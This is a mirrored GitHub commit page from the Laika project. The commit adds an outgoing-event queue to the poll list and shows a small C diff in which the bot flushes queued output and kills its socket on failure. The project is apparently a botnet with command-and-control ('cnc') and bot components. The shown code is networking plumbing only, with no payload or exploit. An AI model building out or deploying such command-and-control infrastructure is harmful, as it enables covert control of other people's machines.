1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-29 21:20:11 +00:00

Added laikaP_pushOutQueue, minor refactoring

- sLaika_pollList now holds an outQueue, if events are sent to a peer,
	the pollList will keep track so the caller (cnc, bot, etc)
	can handle each pollOut for the queued peers.
This commit is contained in:
2022-02-13 23:55:30 -06:00
parent a442f2f493
commit e7265ad15b
8 changed files with 69 additions and 20 deletions

View File

@@ -105,5 +105,13 @@ _BOTKILL:
laikaS_kill(&bot->peer->sock);
LAIKA_TRYEND
/* flush pList's outQueue */
if (bot->pList.outCount > 0) {
if (!laikaS_handlePeerOut(bot->peer))
laikaS_kill(&bot->peer->sock);
laikaP_resetOutQueue(&bot->pList);
}
return true;
}